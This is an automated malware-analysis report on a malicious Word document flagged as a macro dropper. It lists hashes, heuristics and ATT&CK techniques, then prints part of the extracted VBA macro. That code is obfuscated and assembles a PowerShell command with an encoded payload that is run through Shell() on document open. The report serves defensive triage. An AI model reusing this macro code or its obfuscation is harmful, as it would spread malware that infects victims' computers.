Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0258fd5d31e2db5b…

MALICIOUS

Office (OLE)

79.0 KB Created: 2017-11-01 17:43:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: dc75a91fcd7d055211772ed8ebc62bd0 SHA-1: bcfc47b1151201464149bb7de16808fb1c606665 SHA-256: 0258fd5d31e2db5bca73b492ac0926efb50e1cff43489f11f673a5f5b8174849
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The file contains a VBA macro with an AutoOpen function that utilizes the Shell() function to execute a command. This command likely downloads and executes a second-stage payload, as indicated by the ClamAV detection name 'Doc.Dropper.Agent-6362764-0' and the presence of a VBA macro named 'macros.bas'. The macro's obfuscated nature and the use of Shell() suggest a downloader or dropper functionality.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6362764-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6362764-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37793 bytes
SHA-256: 6a39702d71cbc9165243a4dc8beb440af7cb1ec9f1b498098b1f45d46fa648c1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 52 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "DMSojZquJ"
Function KlsJVlijz()
KRwZOZiSb = jMiOqzLkc
TzurouRwtt = Mid("juDEAMQA2AGIANQA5LfDuHPHXHoVdEQfRC", 3, 15)
iKnPNTjHYUN = TzurouRwtt
TsfRjzdCc = wGUKHjjwm
SAIGYDAjD = Mid("Ur8BJGqnnB5Yulset %cDpiTrLVN%=wers&&set %SuZmiriSa%=JwsADfCTs&&set %KlsJVlijz%=po&&set %qfSAwAXEM%=MrqzTiJDT&&set %PqjuFnVOr%=hell&&set %SqYwAARBW%=VcQFWjpkv&&!%KlsJVlijz%!!ZVnlC9iQvRBa", 15, 159)
iBSRmkhEj = SAIGYDAjD
XtczUhZho = sGlQtlEVs
HdFRsCmu = Mid("zQDZhA3kAOQB7ADEAMQA2AGIAMQAwADUAYgAxADEAMQA6ADEAMQAwAFkANAA2AH4AMQAwADAMuwW3nHiNYrXXhKvuQhjarIPjtM", 8, 65)
JZJjMfIbBG = HdFRsCmu
PthzvLzhL = GZEufrNor
aJFENXB = Mid("2iwApzVhvrZAEkAMQAxADEAegA0ADYAbQAxADEAMAAmADEAMAA4AH4ANAA3AHsAMQAxADYAYgA2ADYAJgAxADAAMgB+ADQANwBZADMAOQB+ADQANgB6ADgAMwBiADEAMQAyAH4AMQAwADgAWQAxADAANQBZADEAMQA2A2kjDuduJutzG4DjSWdJO2f", 12, 153)
TjXFztBK = aJFENXB
zUYzrCIlv = qfMjGmrTF
bEHOc = Mid("LnMwj8vivvwTnBW06hAzADIASQAxADEAMABZADEAMAAxACEAMQAxADkAJgA0ADUAJgAxADEAMQB6ADkAHc", 19, 62)
AcOZjKGHd = bEHOc
EYzRCmWTI = kzbtDFuEB
KtWFTJiUI = Mid("flGAbQ8jdVC6Iw5wGU3kFwCpYhBY7ADkAOAA6ADEAMAA2AG0AMQAwADXlAW41AL0oV", 29, 27)
RkSMsXZmbbj = KtWFTJiUI
TSBfqKPHC = wXTSDLmIQ
iBobiw = Mid("QSw3OIaCMAwAHsAMQAxADAAOgAxADAAMQAmADEAMQA2AGIANAA2ACEAMQAwADAAOgAxADAAMQBiADQANwAmADEAMQA0AEkANAA3AH4ANAA0AHoAMQAwADQAbQAxADEANgBZADEAMQA2ACYAMQAxADIAfgA1ADgAewA0ADcAJgA0ADcAYgAxADAAPzfNmjW9Ai0vDzhN", 10, 174)
mvotcU = iBobiw
uiSlbYuXn = TwcHoBkXB
iaBTlajaUKt = Mid("znY7zKn7hBOVIFz6X%cDpiTrLVN%!!%PqjuFnVOr%! -e LgAgACgAKAB2AEEAUgBpAEEAYgBMAGUAIAAnACoAbQBEAFIAKgAnACkALgBuAGEAbQBFAFsAMwAsADEAMQAsADIAXQAtAEoATwBJAG4AJwAnACkAIAAoACgAJwAzADYAOgAxADEAKvzcsdT8J0IO4j3RzW", 18, 165)
XvLAfRK = iaBTlajaUKt
EZhmBvkXw = pStPHvpAV
wLTmWqsTK = Mid("FfAHsAMQAwADUAYgAxADEANQBZADEAMQA2AH4AMQAxADQAbQTLWzcjuipSiEo", 3, 46)
orwEYmMBR = wLTmWqsTK
jhqckTXvK = ZriRhfKhi
wdpalVvA = Mid("I6iEVXN1GLwpHCz8Ijwm06KbVIuAJgAxADAAMQBJADQANwAhADcAOAB7ADgAOQAhADEAMAA3AEkAOAAzAG0AMQAwADIAJgA0ADcAegA0ADQAJgAxADAANAB6ADEAMQA2AH4AMQAxADYAIQAxADEAMgB7ADUAOAB7A86V", 28, 134)
nGmuz = wdpalVvA
iHhXBDcFF = tDohRofBp
IWIok = Mid("RjADIAJgA0ADMAbQAzADIAYgNG9GurhlHcLP2Co6oWzLFSwmkhv4ldioX", 3, 22)
TBNjdzzzh = IWIok
KbpOPFkKj = NXkOFaMGs
AsoLI = Mid("fSiIEDACYAMwA2AG0AMQAxADQAbQA5ADcAegAxADEAMABiADEAMAAwACYAMQAxADEAegAxADAAOQAhADMAMgBJADYhjj3jjAuppqRGqKrh1T", 7, 82)
FRdXUFElRa = AsoLI
oLjmAfOds = VsZuljqAF
ISYEi = Mid("BVjP8jiqhGziNiDAAOQBiADQANwBJADgAMwBiADEAMAA3ACYANgA1ADoAOAA1AFkANAA3AFkANAA0ACYAMQAwADQAegAxADEANgBiADEAMQA2ACYAMQAxADIAewA1ADgAJgA0ADcAegA0ADcAOgAxADAAOQBtADkANwAmADEAMQA0ACEAMQA3ztDPGPG38AW1vo", 15, 166)
fizsQ = ISYEi
tUscmqXOh = UfwOUKvrp
mnbclQddw = Mid("iPPaU89tkLifQBor34HASQB+AHoAJwAgACkAIAB8ACAAJQB7ACgAIABbAEkAbgB0AF0AJABfAC0AYQBTACAAWwBDAEgAYQByAF0AKQdQsE", 20, 83)
cslql = mnbclQddw
JXbJzlNOS = GTmEXEUTm
GbEiUOiVXw = Mid("ziITYGiIamHpoZHgB+ADgAMwB7ADEAM1t26K9TjQqMzHzEYiu", 16, 16)
YhuVfBw = GbEiUOiVXw
AMYpPlzuw = tHXOwuqjd
nwTYnBKp = Mid("I3DEAMAAx6EkAh4h7va", 3, 7)
zwsMjwQJTv = nwTYnBKp
djUGOYYRv = vPHtuBYvi
WrfmRXK = Mid("Jmcs93jA5rYAMQBJADMAMgB6ADEAMQAwACYAMQAwADEAIQAxADEAOQAmADQANQAmADEAMQAxAH4AOQA4AFkAMQAwADYAYgAxADAAMQAhADkAOQBtADEAMQA2AHoAMwAyAEkAMQAxADQAegA5ADcAegAxADEAMAB6ADEAMAAwACYAMQAxADEAbQAxADAAOQnXaIM1vNmldkDIh7a0o14pDA1", 11, 180)
awBiLS = WrfmRXK
QTIqMFnTG = urVrNrbqk
fwizQHrrKMl = Mid("7ZNCDjkd16F3vJwZADEAMAAxAG0AMQAwADkAYgA0ADYASQA3ADgAWQAxADAAMQA6ADEAMQA2AGIANAA2AGIAOAA3AH4AMQAwADEASQA5ADgAbQA2ADcAYgAxADAAOABJADEAMAA1ADoAMQAwADEAIQAxADEAMAAhARCJQsQwQniZ8zwzvDiFtJcuY", 16, 146)
kzLPNEjwRpi = fwizQHrrKMl
StzAQwpCi = qzNWqCPaM
HYhqTVjz = Mid("NlUNOMQB7ADQANwAhADEAMQA4AHsAOAA3AG0AMQAwADMAOgA0ADcAbQA0ADQAJgAxADAANAAhADEAMQA2AG0AMQAxADYAewAxADEAMgBiADUAOAAhADQANwBiADQANwAmADkANwB6ADEAMAAwAFkAMQAwADkAegAxADAANQA6ADEAMQAwBwOoLDMXi", 6, 172)
OXrPUEbnvR 
... (truncated)

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